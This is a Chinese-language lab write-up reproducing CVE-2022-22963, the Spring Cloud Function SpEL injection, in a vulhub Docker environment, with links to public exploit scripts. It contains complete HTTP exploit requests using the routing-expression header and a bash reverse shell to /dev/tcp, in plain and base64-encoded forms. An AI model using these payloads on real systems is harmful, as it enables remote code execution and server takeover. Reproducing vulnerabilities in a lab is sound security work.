当前位置:   article > 正文

【Spring Cloud Function SPEL表达式注入漏洞复现】_spring.cloud.function.routing-expression: t(java.l

spring.cloud.function.routing-expression: t(java.lang.runtime).getruntime().

漏洞编号:CVE-2022-22963

一、漏洞简述

Spring Cloud Function 是基于Spring Boot的函数计算框架(FaaS),该项目提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像Amazon AWS Lambda 这样的 FaaS(函数即服务,function as a service)平台。它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。

在版本3.0.0到当前最新版本3.2.2(commit dc5128b),默认配置下,都存在Spring Cloud Function SpEL表达式注入漏洞。

二、漏洞环境搭建

1、漏洞环境搭建

  1. cd vulhub-master/spring/CVE-2022-22963
  2. docker-compose up -d
  3. 访问:172.16.7.110:8080,出现以下界面,漏洞环境搭建成功。

2、漏洞复现

burpsuite抓包,修改请求包:

  1. 将请求方式改为post,修改请求地址。
  2. 添加Content-Type: text/plain
  3. 添加命令执行payload:spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("执行的命令")

  1. POST /functionRouter HTTP/1.1
  2. Host: 172.16.7.110:8080
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
  9. Content-Type: text/plain
  10. Upgrade-Insecure-Requests: 1
  11. Content-Length: 8
  12. test

进入docker容器,发现ssuccess文件创建成功。

3、反弹shell

  1. 命令准备:
  1. 反弹shell命令:
  2. bash -i >& /dev/tcp/172.16.7.105/8899 0>&1bash -i >&
  3. base64加密:
  4. bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuNy4xMDUvODg5OSAwPiYx}|{base64,-d}|{bash,-i}
  1. 修改数据包后,发送数据包:

  1. POST /functionRouter HTTP/1.1
  2. Host: 172.16.7.110:8080
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuNy4xMDUvODg5OSAwPiYx}|{base64,-d}|{bash,-i}")
  9. Content-Type: text/plain
  10. Upgrade-Insecure-Requests: 1
  11. Content-Length: 4
  12. test
  1. kali监听端口成功反弹到shell

4、利用vulfocus在线靶场进行复现

因为操作都是一样的,所有这里正好试了一下网上的POCEXP

  1. 环境搭建,利用vulfocus在线靶场,启动漏洞环境,访问:

  1. POC和EXP下载:
https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE
  1. 漏洞检测:python Spel_RCE_POC.py url.txt

  1. 反弹shell:python Spel_RCE_Bash_EXP.py url lhost lport

反弹到root shell

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/我家自动化/article/detail/309241
推荐阅读
相关标签
  

闽ICP备14008679号